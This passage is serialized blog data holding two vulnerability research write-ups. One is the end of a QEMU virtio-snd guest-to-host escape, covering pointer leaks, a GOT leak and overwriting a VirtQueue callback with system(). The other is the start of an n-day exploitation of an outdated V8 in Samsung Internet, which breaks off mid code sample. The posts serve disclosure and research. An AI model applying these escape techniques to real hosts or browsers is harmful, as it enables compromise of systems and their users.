70],{"type":29,"value":130766},{"type":24,"tag":327,"props":137772,"children":137773},{"class":329,"line":4913},[137774],{"type":24,"tag":327,"props":137775,"children":137776},{"emptyLinePlaceholder":16},[137777],{"type":29,"value":544},{"type":24,"tag":327,"props":137779,"children":137780},{"class":329,"line":4938},[137781,137785,137789,137793,137797,137801,137805],{"type":24,"tag":327,"props":137782,"children":137783},{"style":340},[137784],{"type":29,"value":130781},{"type":24,"tag":327,"props":137786,"children":137787},{"style":346},[137788],{"type":29,"value":349},{"type":24,"tag":327,"props":137790,"children":137791},{"style":381},[137792],{"type":29,"value":8716},{"type":24,"tag":327,"props":137794,"children":137795},{"style":356},[137796],{"type":29,"value":42974},{"type":24,"tag":327,"props":137798,"children":137799},{"style":346},[137800],{"type":29,"value":1679},{"type":24,"tag":327,"props":137802,"children":137803},{"style":356},[137804],{"type":29,"value":130802},{"type":24,"tag":327,"props":137806,"children":137807},{"style":346},[137808],{"type":29,"value":364},{"type":24,"tag":327,"props":137810,"children":137811},{"class":329,"line":4974},[137812,137816,137820,137824,137828,137832,137836,137840,137844,137848,137852,137856,137860],{"type":24,"tag":327,"props":137813,"children":137814},{"style":346},[137815],{"type":29,"value":130814},{"type":24,"tag":327,"props":137817,"children":137818},{"style":381},[137819],{"type":29,"value":384},{"type":24,"tag":327,"props":137821,"children":137822},{"style":340},[137823],{"type":29,"value":130823},{"type":24,"tag":327,"props":137825,"children":137826},{"style":346},[137827],{"type":29,"value":349},{"type":24,"tag":327,"props":137829,"children":137830},{"style":356},[137831],{"type":29,"value":58785},{"type":24,"tag":327,"props":137833,"children":137834},{"style":346},[137835],{"type":29,"value":1679},{"type":24,"tag":327,"props":137837,"children":137838},{"style":356},[137839],{"type":29,"value":130840},{"type":24,"tag":327,"props":137841,"children":137842},{"style":346},[137843],{"type":29,"value":2744},{"type":24,"tag":327,"props":137845,"children":137846},{"style":356},[137847],{"type":29,"value":58785},{"type":24,"tag":327,"props":137849,"children":137850},{"style":346},[137851],{"type":29,"value":1679},{"type":24,"tag":327,"props":137853,"children":137854},{"style":356},[137855],{"type":29,"value":130857},{"type":24,"tag":327,"props":137857,"children":137858},{"style":346},[137859],{"type":29,"value":1674},{"type":24,"tag":327,"props":137861,"children":137862},{"style":381},[137863],{"type":29,"value":57582},{"type":24,"tag":327,"props":137865,"children":137866},{"class":329,"line":4982},[137867,137871],{"type":24,"tag":327,"props":137868,"children":137869},{"style":334},[137870],{"type":29,"value":130873},{"type":24,"tag":327,"props":137872,"children":137873},{"style":346},[137874],{"type":29,"value":137875},"(virtio_snd_pcm_status);\n",{"type":24,"tag":327,"props":137877,"children":137878},{"class":329,"line":4990},[137879,137883,137887,137891,137895,137899,137903,137907,137912],{"type":24,"tag":327,"props":137880,"children":137881},{"style":346},[137882],{"type":29,"value":130891},{"type":24,"tag":327,"props":137884,"children":137885},{"style":381},[137886],{"type":29,"value":384},{"type":24,"tag":327,"props":137888,"children":137889},{"style":340},[137890],{"type":29,"value":130900},{"type":24,"tag":327,"props":137892,"children":137893},{"style":346},[137894],{"type":29,"value":349},{"type":24,"tag":327,"props":137896,"children":137897},{"style":334},[137898],{"type":29,"value":62049},{"type":24,"tag":327,"props":137900,"children":137901},{"style":346},[137902],{"type":29,"value":130913},{"type":24,"tag":327,"props":137904,"children":137905},{"style":381},[137906],{"type":29,"value":394},{"type":24,"tag":327,"props":137908,"children":137909},{"style":346},[137910],{"type":29,"value":137911}," size);",{"type":24,"tag":327,"props":137913,"children":137914},{"style":551},[137915],{"type":29,"value":137916},"    // [1]\n",{"type":24,"tag":327,"props":137918,"children":137919},{"class":329,"line":4999},[137920,137924,137928,137932,137936],{"type":24,"tag":327,"props":137921,"children":137922},{"style":356},[137923],{"type":29,"value":130930},{"type":24,"tag":327,"props":137925,"children":137926},{"style":346},[137927],{"type":29,"value":1679},{"type":24,"tag":327,"props":137929,"children":137930},{"style":356},[137931],{"type":29,"value":58785},{"type":24,"tag":327,"props":137933,"children":137934},{"style":381},[137935],{"type":29,"value":4809},{"type":24,"tag":327,"props":137937,"children":137938},{"style":346},[137939],{"type":29,"value":130947},{"type":24,"tag":327,"props":137941,"children":137942},{"class":329,"line":5042},[137943,137947,137951,137955,137959,137964],{"type":24,"tag":327,"props":137944,"children":137945},{"style":356},[137946],{"type":29,"value":130930},{"type":24,"tag":327,"props":137948,"children":137949},{"style":346},[137950],{"type":29,"value":1679},{"type":24,"tag":327,"props":137952,"children":137953},{"style":356},[137954],{"type":29,"value":130599},{"type":24,"tag":327,"props":137956,"children":137957},{"style":381},[137958],{"type":29,"value":4809},{"type":24,"tag":327,"props":137960,"children":137961},{"style":346},[137962],{"type":29,"value":137963}," vq;",{"type":24,"tag":327,"props":137965,"children":137966},{"style":551},[137967],{"type":29,"value":137968},"                                            // [2]\n",{"type":24,"tag":327,"props":137970,"children":137971},{"class":329,"line":5075},[137972,137976,137980,137984,137988,137992],{"type":24,"tag":327,"props":137973,"children":137974},{"style":356},[137975],{"type":29,"value":130930},{"type":24,"tag":327,"props":137977,"children":137978},{"style":346},[137979],{"type":29,"value":1679},{"type":24,"tag":327,"props":137981,"children":137982},{"style":356},[137983],{"type":29,"value":130987},{"type":24,"tag":327,"props":137985,"children":137986},{"style":381},[137987],{"type":29,"value":4809},{"type":24,"tag":327,"props":137989,"children":137990},{"style":397},[137991],{"type":29,"value":6695},{"type":24,"tag":327,"props":137993,"children":137994},{"style":346},[137995],{"type":29,"value":405},{"type":24,"tag":327,"props":137997,"children":137998},{"class":329,"line":5083},[137999,138003,138007,138011,138015,138019],{"type":24,"tag":327,"props":138000,"children":138001},{"style":356},[138002],{"type":29,"value":130930},{"type":24,"tag":327,"props":138004,"children":138005},{"style":346},[138006],{"type":29,"value":1679},{"type":24,"tag":327,"props":138008,"children":138009},{"style":356},[138010],{"type":29,"value":21434},{"type":24,"tag":327,"props":138012,"children":138013},{"style":381},[138014],{"type":29,"value":4809},{"type":24,"tag":327,"props":138016,"children":138017},{"style":397},[138018],{"type":29,"value":6695},{"type":24,"tag":327,"props":138020,"children":138021},{"style":346},[138022],{"type":29,"value":405},{"type":24,"tag":327,"props":138024,"children":138025},{"class":329,"line":5091},[138026,138030,138034,138038,138042,138046,138050],{"type":24,"tag":327,"props":138027,"children":138028},{"style":340},[138029],{"type":29,"value":131034},{"type":24,"tag":327,"props":138031,"children":138032},{"style":346},[138033],{"type":29,"value":349},{"type":24,"tag":327,"props":138035,"children":138036},{"style":381},[138037],{"type":29,"value":8716},{"type":24,"tag":327,"props":138039,"children":138040},{"style":356},[138041],{"type":29,"value":42974},{"type":24,"tag":327,"props":138043,"children":138044},{"style":346},[138045],{"type":29,"value":1679},{"type":24,"tag":327,"props":138047,"children":138048},{"style":356},[138049],{"type":29,"value":131055},{"type":24,"tag":327,"props":138051,"children":138052},{"style":346},[138053],{"type":29,"value":138054},", buffer, entry);\n",{"type":24,"tag":327,"props":138056,"children":138057},{"class":329,"line":5100},[138058],{"type":24,"tag":327,"props":138059,"children":138060},{"style":346},[138061],{"type":29,"value":8989},{"type":24,"tag":25,"props":138063,"children":138064},{},[138065,138066,138071,138073,138078,138080,138085,138087,138093],{"type":29,"value":131109},{"type":24,"tag":284,"props":138067,"children":138069},{"className":138068},[],[138070],{"type":29,"value":131115},{"type":29,"value":138072},", QEMU allocates a ",{"type":24,"tag":284,"props":138074,"children":138076},{"className":138075},[],[138077],{"type":29,"value":131252},{"type":29,"value":138079}," whose size depends on the guest-provided iovec, and at ",{"type":24,"tag":284,"props":138081,"children":138083},{"className":138082},[],[138084],{"type":29,"value":131150},{"type":29,"value":138086}," it stores the ",{"type":24,"tag":284,"props":138088,"children":138090},{"className":138089},[],[138091],{"type":29,"value":138092},"VirtQueue *vq",{"type":29,"value":138094}," pointer into the buffer.",{"type":24,"tag":25,"props":138096,"children":138097},{},[138098,138099,138105],{"type":29,"value":70940},{"type":24,"tag":284,"props":138100,"children":138102},{"className":138101},[],[138103],{"type":29,"value":138104},"VirtQueue",{"type":29,"value":138106}," structure contains some useful fields:",{"type":24,"tag":317,"props":138108,"children":138110},{"code":138109,"language":320,"meta":7,"className":321,"style":7},"struct VirtQueue\n{\n    [...]\n\n    VirtIOHandleOutput handle_output;\n    VirtIODevice *vdev;\n\n    [...]\n};\n",[138111],{"type":24,"tag":284,"props":138112,"children":138113},{"__ignoreMap":7},[138114,138126,138133,138140,138147,138155,138172,138179,138186],{"type":24,"tag":327,"props":138115,"children":138116},{"class":329,"line":330},[138117,138121],{"type":24,"tag":327,"props":138118,"children":138119},{"style":334},[138120],{"type":29,"value":2195},{"type":24,"tag":327,"props":138122,"children":138123},{"style":346},[138124],{"type":29,"value":138125}," VirtQueue\n",{"type":24,"tag":327,"props":138127,"children":138128},{"class":329,"line":367},[138129],{"type":24,"tag":327,"props":138130,"children":138131},{"style":346},[138132],{"type":29,"value":18427},{"type":24,"tag":327,"props":138134,"children":138135},{"class":329,"line":408},[138136],{"type":24,"tag":327,"props":138137,"children":138138},{"style":346},[138139],{"type":29,"value":111528},{"type":24,"tag":327,"props":138141,"children":138142},{"class":329,"line":421},[138143],{"type":24,"tag":327,"props":138144,"children":138145},{"emptyLinePlaceholder":16},[138146],{"type":29,"value":544},{"type":24,"tag":327,"props":138148,"children":138149},{"class":329,"line":450},[138150],{"type":24,"tag":327,"props":138151,"children":138152},{"style":346},[138153],{"type":29,"value":138154},"    VirtIOHandleOutput handle_output;\n",{"type":24,"tag":327,"props":138156,"children":138157},{"class":329,"line":481},[138158,138163,138167],{"type":24,"tag":327,"props":138159,"children":138160},{"style":346},[138161],{"type":29,"value":138162},"    VirtIODevice ",{"type":24,"tag":327,"props":138164,"children":138165},{"style":381},[138166],{"type":29,"value":469},{"type":24,"tag":327,"props":138168,"children":138169},{"style":346},[138170],{"type":29,"value":138171},"vdev;\n",{"type":24,"tag":327,"props":138173,"children":138174},{"class":329,"line":500},[138175],{"type":24,"tag":327,"props":138176,"children":138177},{"emptyLinePlaceholder":16},[138178],{"type":29,"value":544},{"type":24,"tag":327,"props":138180,"children":138181},{"class":329,"line":529},[138182],{"type":24,"tag":327,"props":138183,"children":138184},{"style":346},[138185],{"type":29,"value":111528},{"type":24,"tag":327,"props":138187,"children":138188},{"class":329,"line":538},[138189],{"type":24,"tag":327,"props":138190,"children":138191},{"style":346},[138192],{"type":29,"value":24092},{"type":24,"tag":25,"props":138194,"children":138195},{},[138196,138197,138203,138205,138211],{"type":29,"value":1713},{"type":24,"tag":284,"props":138198,"children":138200},{"className":138199},[],[138201],{"type":29,"value":138202},".handle_output",{"type":29,"value":138204}," field is a callback, specifically a function pointer that gets called when the virtqueue receives a notification from the guest, and ",{"type":24,"tag":284,"props":138206,"children":138208},{"className":138207},[],[138209],{"type":29,"value":138210},".vdev",{"type":29,"value":138212}," is the pointer passed to it as the first argument:",{"type":24,"tag":317,"props":138214,"children":138216},{"code":138215,"language":320,"meta":7,"className":321,"style":7},"static void virtio_queue_notify_vq(VirtQueue *vq)\n{\n    if (vq->vring.desc && vq->handle_output) {\n        VirtIODevice *vdev = vq->vdev;\n\n        [...]\n\n        vq->handle_output(vdev, vq);\n\n        [...]\n    }\n}\n",[138217],{"type":24,"tag":284,"props":138218,"children":138219},{"__ignoreMap":7},[138220,138253,138260,138315,138352,138359,138366,138373,138394,138401,138408,138415],{"type":24,"tag":327,"props":138221,"children":138222},{"class":329,"line":330},[138223,138227,138231,138236,138241,138245,138249],{"type":24,"tag":327,"props":138224,"children":138225},{"style":334},[138226],{"type":29,"value":57765},{"type":24,"tag":327,"props":138228,"children":138229},{"style":334},[138230],{"type":29,"value":57770},{"type":24,"tag":327,"props":138232,"children":138233},{"style":340},[138234],{"type":29,"value":138235}," virtio_queue_notify_vq",{"type":24,"tag":327,"props":138237,"children":138238},{"style":346},[138239],{"type":29,"value":138240},"(VirtQueue ",{"type":24,"tag":327,"props":138242,"children":138243},{"style":381},[138244],{"type":29,"value":469},{"type":24,"tag":327,"props":138246,"children":138247},{"style":356},[138248],{"type":29,"value":130599},{"type":24,"tag":327,"props":138250,"children":138251},{"style":346},[138252],{"type":29,"value":852},{"type":24,"tag":327,"props":138254,"children":138255},{"class":329,"line":367},[138256],{"type":24,"tag":327,"props":138257,"children":138258},{"style":346},[138259],{"type":29,"value":18427},{"type":24,"tag":327,"props":138261,"children":138262},{"class":329,"line":408},[138263,138267,138271,138275,138279,138284,138288,138293,138297,138302,138306,138311],{"type":24,"tag":327,"props":138264,"children":138265},{"style":425},[138266],{"type":29,"value":428},{"type":24,"tag":327,"props":138268,"children":138269},{"style":346},[138270],{"type":29,"value":5894},{"type":24,"tag":327,"props":138272,"children":138273},{"style":356},[138274],{"type":29,"value":130599},{"type":24,"tag":327,"props":138276,"children":138277},{"style":346},[138278],{"type":29,"value":1679},{"type":24,"tag":327,"props":138280,"children":138281},{"style":356},[138282],{"type":29,"value":138283},"vring",{"type":24,"tag":327,"props":138285,"children":138286},{"style":346},[138287],{"type":29,"value":66},{"type":24,"tag":327,"props":138289,"children":138290},{"style":356},[138291],{"type":29,"value":138292},"desc",{"type":24,"tag":327,"props":138294,"children":138295},{"style":381},[138296],{"type":29,"value":21717},{"type":24,"tag":327,"props":138298,"children":138299},{"style":356},[138300],{"type":29,"value":138301}," vq",{"type":24,"tag":327,"props":138303,"children":138304},{"style":346},[138305],{"type":29,"value":1679},{"type":24,"tag":327,"props":138307,"children":138308},{"style":356},[138309],{"type":29,"value":138310},"handle_output",{"type":24,"tag":327,"props":138312,"children":138313},{"style":346},[138314],{"type":29,"value":364},{"type":24,"tag":327,"props":138316,"children":138317},{"class":329,"line":421},[138318,138323,138327,138332,138336,138340,138344,138348],{"type":24,"tag":327,"props":138319,"children":138320},{"style":346},[138321],{"type":29,"value":138322},"        VirtIODevice ",{"type":24,"tag":327,"props":138324,"children":138325},{"style":381},[138326],{"type":29,"value":469},{"type":24,"tag":327,"props":138328,"children":138329},{"style":346},[138330],{"type":29,"value":138331},"vdev ",{"type":24,"tag":327,"props":138333,"children":138334},{"style":381},[138335],{"type":29,"value":384},{"type":24,"tag":327,"props":138337,"children":138338},{"style":356},[138339],{"type":29,"value":138301},{"type":24,"tag":327,"props":138341,"children":138342},{"style":346},[138343],{"type":29,"value":1679},{"type":24,"tag":327,"props":138345,"children":138346},{"style":356},[138347],{"type":29,"value":130585},{"type":24,"tag":327,"props":138349,"children":138350},{"style":346},[138351],{"type":29,"value":405},{"type":24,"tag":327,"props":138353,"children":138354},{"class":329,"line":450},[138355],{"type":24,"tag":327,"props":138356,"children":138357},{"emptyLinePlaceholder":16},[138358],{"type":29,"value":544},{"type":24,"tag":327,"props":138360,"children":138361},{"class":329,"line":481},[138362],{"type":24,"tag":327,"props":138363,"children":138364},{"style":346},[138365],{"type":29,"value":130766},{"type":24,"tag":327,"props":138367,"children":138368},{"class":329,"line":500},[138369],{"type":24,"tag":327,"props":138370,"children":138371},{"emptyLinePlaceholder":16},[138372],{"type":29,"value":544},{"type":24,"tag":327,"props":138374,"children":138375},{"class":329,"line":529},[138376,138381,138385,138389],{"type":24,"tag":327,"props":138377,"children":138378},{"style":356},[138379],{"type":29,"value":138380},"        vq",{"type":24,"tag":327,"props":138382,"children":138383},{"style":346},[138384],{"type":29,"value":1679},{"type":24,"tag":327,"props":138386,"children":138387},{"style":340},[138388],{"type":29,"value":138310},{"type":24,"tag":327,"props":138390,"children":138391},{"style":346},[138392],{"type":29,"value":138393},"(vdev, vq);\n",{"type":24,"tag":327,"props":138395,"children":138396},{"class":329,"line":538},[138397],{"type":24,"tag":327,"props":138398,"children":138399},{"emptyLinePlaceholder":16},[138400],{"type":29,"value":544},{"type":24,"tag":327,"props":138402,"children":138403},{"class":329,"line":547},[138404],{"type":24,"tag":327,"props":138405,"children":138406},{"style":346},[138407],{"type":29,"value":130766},{"type":24,"tag":327,"props":138409,"children":138410},{"class":329,"line":557},[138411],{"type":24,"tag":327,"props":138412,"children":138413},{"style":346},[138414],{"type":29,"value":535},{"type":24,"tag":327,"props":138416,"children":138417},{"class":329,"line":586},[138418],{"type":24,"tag":327,"props":138419,"children":138420},{"style":346},[138421],{"type":29,"value":592},{"type":24,"tag":25,"props":138423,"children":138424},{},[138425,138427,138432,138434,138439,138441,138447,138449,138454,138455,138460,138462,138467],{"type":29,"value":138426},"This means that if we free the known-address chunk and replace it with a ",{"type":24,"tag":284,"props":138428,"children":138430},{"className":138429},[],[138431],{"type":29,"value":131252},{"type":29,"value":138433}," - which is straightforward, since we control the buffer allocation size through the ",{"type":24,"tag":284,"props":138435,"children":138437},{"className":138436},[],[138438],{"type":29,"value":130840},{"type":29,"value":138440}," iovec - we can use the arbitrary read primitive to read its ",{"type":24,"tag":284,"props":138442,"children":138444},{"className":138443},[],[138445],{"type":29,"value":138446},".vq",{"type":29,"value":138448}," pointer, then follow that pointer to leak ",{"type":24,"tag":284,"props":138450,"children":138452},{"className":138451},[],[138453],{"type":29,"value":138202},{"type":29,"value":23570},{"type":24,"tag":284,"props":138456,"children":138458},{"className":138457},[],[138459],{"type":29,"value":138104},{"type":29,"value":138461}," structure. In our case, that field points to ",{"type":24,"tag":284,"props":138463,"children":138465},{"className":138464},[],[138466],{"type":29,"value":130492},{"type":29,"value":138468},", which gives us QEMU's base address.",{"type":24,"tag":25,"props":138470,"children":138471},{},[138472,138474,138480],{"type":29,"value":138473},"From there, we can use the arbitrary read primitive once more to read a resolved entry from QEMU's GOT, leaking a libc address. With that, we can compute the address of ",{"type":24,"tag":284,"props":138475,"children":138477},{"className":138476},[],[138478],{"type":29,"value":138479},"system",{"type":29,"value":66},{"type":24,"tag":235,"props":138482,"children":138484},{"id":138483},"rip-control",[138485],{"type":29,"value":138486},"RIP Control",{"type":24,"tag":25,"props":138488,"children":138489},{},[138490,138492,138497,138499,138505],{"type":29,"value":138491},"At this point, we have everything we need: an arbitrary read/write primitive, a QEMU code leak, and the address of ",{"type":24,"tag":284,"props":138493,"children":138495},{"className":138494},[],[138496],{"type":29,"value":138479},{"type":29,"value":138498},". To hijack control flow, we do not need to look far - we just described a function pointer on the heap at a known address: ",{"type":24,"tag":284,"props":138500,"children":138502},{"className":138501},[],[138503],{"type":29,"value":138504},"VirtQueue.handle_output",{"type":29,"value":66},{"type":24,"tag":25,"props":138507,"children":138508},{},[138509,138511,138516,138518,138523,138525,138530],{"type":29,"value":138510},"We overwrite ",{"type":24,"tag":284,"props":138512,"children":138514},{"className":138513},[],[138515],{"type":29,"value":138202},{"type":29,"value":138517}," with the address of ",{"type":24,"tag":284,"props":138519,"children":138521},{"className":138520},[],[138522],{"type":29,"value":138479},{"type":29,"value":138524}," and write the command string we want to execute into memory using our arbitrary write. Then we overwrite ",{"type":24,"tag":284,"props":138526,"children":138528},{"className":138527},[],[138529],{"type":29,"value":138210},{"type":29,"value":138531}," with the address of that command string, so it is passed as the first argument.",{"type":24,"tag":25,"props":138533,"children":138534},{},[138535,138537,138543,138545,138551,138553,138559],{"type":29,"value":138536},"Then, we simply notify the virtqueue from the guest. QEMU enters ",{"type":24,"tag":284,"props":138538,"children":138540},{"className":138539},[],[138541],{"type":29,"value":138542},"virtio_queue_notify_vq",{"type":29,"value":138544},", which calls ",{"type":24,"tag":284,"props":138546,"children":138548},{"className":138547},[],[138549],{"type":29,"value":138550},"vq->handle_output(vq->vdev)",{"type":29,"value":138552}," - or, after our overwrites, ",{"type":24,"tag":284,"props":138554,"children":138556},{"className":138555},[],[138557],{"type":29,"value":138558},"system(command)",{"type":29,"value":66},{"type":24,"tag":25,"props":138561,"children":138562},{},[138563,138565,138571,138573],{"type":29,"value":138564},"Finally, with all of this, we achieve a reliable guest-to-host escape and execute ",{"type":24,"tag":284,"props":138566,"children":138568},{"className":138567},[],[138569],{"type":29,"value":138570},"gnome-calculator",{"type":29,"value":138572}," on the host system:\n",{"type":24,"tag":37678,"props":138574,"children":138575},{},[],{"type":24,"tag":138577,"props":138578,"children":138587},"tweet-card",{"author-name":138579,"date":138580,"duration":138581,"handle":138582,"media-mime-type":138583,"media-src":138584,"media-type":138585,"tweet-url":138586},"OtterSec","March 5, 2026","0:12","@osec_io","video/mp4","/posts/virtio-snd-qemu-0day/demo.mp4","video","https://x.com/osec_io/status/2029643325125390550",[138588,138593,138598],{"type":24,"tag":25,"props":138589,"children":138590},{},[138591],{"type":29,"value":138592},"We recently achieved guest-to-host escape by exploiting a QEMU 0day.",{"type":24,"tag":25,"props":138594,"children":138595},{},[138596],{"type":29,"value":138597},"We’ll share details on a new technique leveraging the latest glibc allocator behavior and what we believe is a novel QEMU-specific heap spray/RIP-control primitive.",{"type":24,"tag":25,"props":138599,"children":138600},{},[138601],{"type":29,"value":138602},"Writeup coming next week.",{"type":24,"tag":37678,"props":138604,"children":138605},{},[],{"type":24,"tag":25,"props":138607,"children":138608},{},[138609,138611,138617,138619,138625],{"type":29,"value":138610},"The final exploit, targeting QEMU commit ",{"type":24,"tag":284,"props":138612,"children":138614},{"className":138613},[],[138615],{"type":29,"value":138616},"ece408818d27f745ef1b05fb3cc99a1e7a5bf580",{"type":29,"value":138618}," (Feb 13, 2026) and the latest glibc 2.43, can be found ",{"type":24,"tag":57,"props":138620,"children":138623},{"href":138621,"rel":138622},"https://github.com/otter-sec/qemu-escape",[61],[138624],{"type":29,"value":54304},{"type":29,"value":66},{"type":24,"tag":25,"props":138627,"children":138628},{},[138629,138631,138638],{"type":29,"value":138630},"Special thanks to ",{"type":24,"tag":57,"props":138632,"children":138635},{"href":138633,"rel":138634},"https://www.willsroot.io/",[61],[138636],{"type":29,"value":138637},"William Liu",{"type":29,"value":138639}," for proofreading this post and helping us polish it before publication.",{"type":24,"tag":228,"props":138641,"children":138642},{"id":10412},[138643],{"type":29,"value":226},{"type":24,"tag":25,"props":138645,"children":138646},{},[138647],{"type":29,"value":138648},"Starting from a heap overflow where the written bytes are effectively random, we showed how careful heap grooming and a favorable change in glibc 2.43's allocator can turn even a single byte of uncontrolled corruption into a reliable guest-to-host escape.",{"type":24,"tag":25,"props":138650,"children":138651},{},[138652],{"type":29,"value":138653},"More broadly, this exploit is a reminder that weak-looking primitives should not be dismissed too quickly - with the right heap layout and target, even highly constrained corruption can be enough.",{"type":24,"tag":10448,"props":138655,"children":138656},{},[138657],{"type":29,"value":10452},{"title":7,"searchDepth":367,"depth":367,"links":138659},[138660,138663,138666,138675],{"id":130388,"depth":367,"text":130401,"children":138661},[138662],{"id":130409,"depth":408,"text":130412},{"id":130433,"depth":367,"text":130436,"children":138664},[138665],{"id":130447,"depth":408,"text":130447},{"id":106835,"depth":367,"text":106838,"children":138667},[138668,138669,138670,138671,138672,138673,138674],{"id":133039,"depth":408,"text":133042},{"id":134566,"depth":408,"text":134569},{"id":135360,"depth":408,"text":135363},{"id":135765,"depth":408,"text":135768},{"id":135981,"depth":408,"text":135984},{"id":136187,"depth":408,"text":136190},{"id":138483,"depth":408,"text":138486},{"id":10412,"depth":367,"text":226},"content:blog:2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape",{"_path":138680,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":138681,"description":138682,"date":138683,"author":138684,"image":138687,"isFeatured":16,"onBlogPage":16,"tags":138689,"body":138692,"_type":10481,"_id":148600,"_source":10483,"_file":148601,"_stem":148602,"_extension":10486},"/blog/2026-04-01-patch-gap-to-mobile-renderer-rce","Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25","Samsung Internet on the Galaxy S25 shipped a six-month-old version of V8, exposing it to publicly known bugs. Learn how we exploited a bytecode interpreter vulnerability to achieve renderer RCE and universal XSS in the browser.","2026-04-01T12:00:00.000Z",[130384,138685,138686],"jamie","william",{"src":138688,"width":103995,"height":14},"/posts/mobile-renderer-rce/title.png",[138690,138691],"RCE","mobile",{"type":21,"children":138693,"toc":148580},[138694,138698,138703,138717,138723,138737,138758,138766,138779,138787,138800,138806,138819,138833,138839,138853,138956,138961,138969,138974,138979,139000,139078,139086,139105,139118,139124,139130,139144,139260,139265,139270,139278,139283,139291,139319,139348,139360,139536,139541,139549,139568,139581,139587,139607,139621,139626,139631,139659,139695,139764,139770,139792,139797,139805,139818,139823,139831,139836,139875,139881,139894,139899,140077,140087,140095,140115,140139,140152,140158,140163,140805,140810,140818,140860,142849,142854,142862,142868,142901,142919,143089,143147,143172,143266,143271,144062,144067,144075,144086,146130,146135,146143,146149,146171,146185,146198,146210,146240,146245,146686,146714,146821,146838,146995,147000,147012,147308,147334,147357,147489,147501,147506,147658,147694,147707,147712,147834,147875,147952,147957,148531,148537,148549,148562,148566,148571,148576],{"type":24,"tag":228,"props":138695,"children":138696},{"id":35723},[138697],{"type":29,"value":35726},{"type":24,"tag":25,"props":138699,"children":138700},{},[138701],{"type":29,"value":138702},"The supply chain dependency in today's software landscape is extremely complex. Any vulnerability in a core library creates an exploitable window for its dependents - maintainers either fall behind on the exhausting update schedule, backport incorrectly, or even forget about it entirely.",{"type":24,"tag":25,"props":138704,"children":138705},{},[138706,138708,138715],{"type":29,"value":138707},"One such example is V8, a JavaScript engine used ubiquitously in Chromium and Node.js-based software. In collaboration with the ",{"type":24,"tag":57,"props":138709,"children":138712},{"href":138710,"rel":138711},"https://cor.team",[61],[138713],{"type":29,"value":138714},"Crusaders of Rust",{"type":29,"value":138716}," Security Research Group, we decided to analyze the version of V8 in Samsung Internet (the default browser on Samsung phones) on a Samsung Galaxy S25 in hopes of an n-day exploitation opportunity.",{"type":24,"tag":235,"props":138718,"children":138720},{"id":138719},"finding-the-v8-version",[138721],{"type":29,"value":138722},"Finding the V8 Version",{"type":24,"tag":25,"props":138724,"children":138725},{},[138726,138728,138735],{"type":29,"value":138727},"We started by pulling Samsung Internet's APK from the device over ",{"type":24,"tag":57,"props":138729,"children":138732},{"href":138730,"rel":138731},"https://developer.android.com/tools/adb",[61],[138733],{"type":29,"value":138734},"adb",{"type":29,"value":138736}," and inspecting the libraries it shipped with.",{"type":24,"tag":25,"props":138738,"children":138739},{},[138740,138742,138748,138750,138756],{"type":29,"value":138741},"After extracting the APK, we searched the ",{"type":24,"tag":284,"props":138743,"children":138745},{"className":138744},[],[138746],{"type":29,"value":138747},"lib/",{"type":29,"value":138749}," directory for ",{"type":24,"tag":284,"props":138751,"children":138753},{"className":138752},[],[138754],{"type":29,"value":138755},"v8::*",{"type":29,"value":138757}," symbols:",{"type":24,"tag":317,"props":138759,"children":138761},{"code":138760},"$ grep -r 'v8::' lib/\ngrep: lib/arm64-v8a/libterrace.so: binary file matches\n",[138762],{"type":24,"tag":284,"props":138763,"children":138764},{"__ignoreMap":7},[138765],{"type":29,"value":138760},{"type":24,"tag":25,"props":138767,"children":138768},{},[138769,138771,138777],{"type":29,"value":138770},"Only one file matched our search: ",{"type":24,"tag":284,"props":138772,"children":138774},{"className":138773},[],[138775],{"type":29,"value":138776},"libterrace.so",{"type":29,"value":138778},". We then loaded it into a decompiler to inspect it more closely, which is where we found the bundled V8 version:",{"type":24,"tag":25,"props":138780,"children":138781},{},[138782],{"type":24,"tag":11511,"props":138783,"children":138786},{"alt":138784,"src":138785},"image1","/posts/mobile-renderer-rce/image1.png",[],{"type":24,"tag":25,"props":138788,"children":138789},{},[138790,138792,138798],{"type":29,"value":138791},"Surprisingly, this ",{"type":24,"tag":284,"props":138793,"children":138795},{"className":138794},[],[138796],{"type":29,"value":138797},"13.6.233.10",{"type":29,"value":138799}," version was already six months old at the time, with multiple publicly known bugs affecting it.",{"type":24,"tag":235,"props":138801,"children":138803},{"id":138802},"choosing-the-bug",[138804],{"type":29,"value":138805},"Choosing the Bug",{"type":24,"tag":25,"props":138807,"children":138808},{},[138809,138811,138817],{"type":29,"value":138810},"We were able to trigger a couple of bugs on our locally compiled ",{"type":24,"tag":284,"props":138812,"children":138814},{"className":138813},[],[138815],{"type":29,"value":138816},"d8",{"type":29,"value":138818}," matching the target version. One of them was CVE-2025-5419 - a store-store elimination bug that we managed to get working on the device. However, exploitation required heap spraying, which would present significant stability issues when porting to the phone.",{"type":24,"tag":25,"props":138820,"children":138821},{},[138822,138824,138831],{"type":29,"value":138823},"Another one was ",{"type":24,"tag":57,"props":138825,"children":138828},{"href":138826,"rel":138827},"https://issuetracker.google.com/issues/443875388",[61],[138829],{"type":29,"value":138830},"CVE-2025-10891",{"type":29,"value":138832}," - a bug in the Ignition bytecode interpreter. This one was attractive as bytecode is treated as trusted under the V8 sandbox model, meaning that a separate Übercage bypass would not be required. Given this, we decided to explore this bug further.",{"type":24,"tag":228,"props":138834,"children":138836},{"id":138835},"ignition-bytecode-introduction",[138837],{"type":29,"value":138838},"Ignition Bytecode Introduction",{"type":24,"tag":25,"props":138840,"children":138841},{},[138842,138844,138851],{"type":29,"value":138843},"V8 initially compiles all JS code to a bytecode format with the ",{"type":24,"tag":57,"props":138845,"children":138848},{"href":138846,"rel":138847},"https://v8.dev/blog/ignition-interpreter",[61],[138849],{"type":29,"value":138850},"Ignition",{"type":29,"value":138852}," interpreter.\nThis is a simple register-based VM with fixed size opcodes (and prefix bytes to increase operand width). For instance:",{"type":24,"tag":317,"props":138854,"children":138856},{"code":138855,"language":38075,"meta":7,"className":38073,"style":7},"let a = 1;\nlet b = 0x0fff;\nlet c = 0x0fffffff;\nlet d = 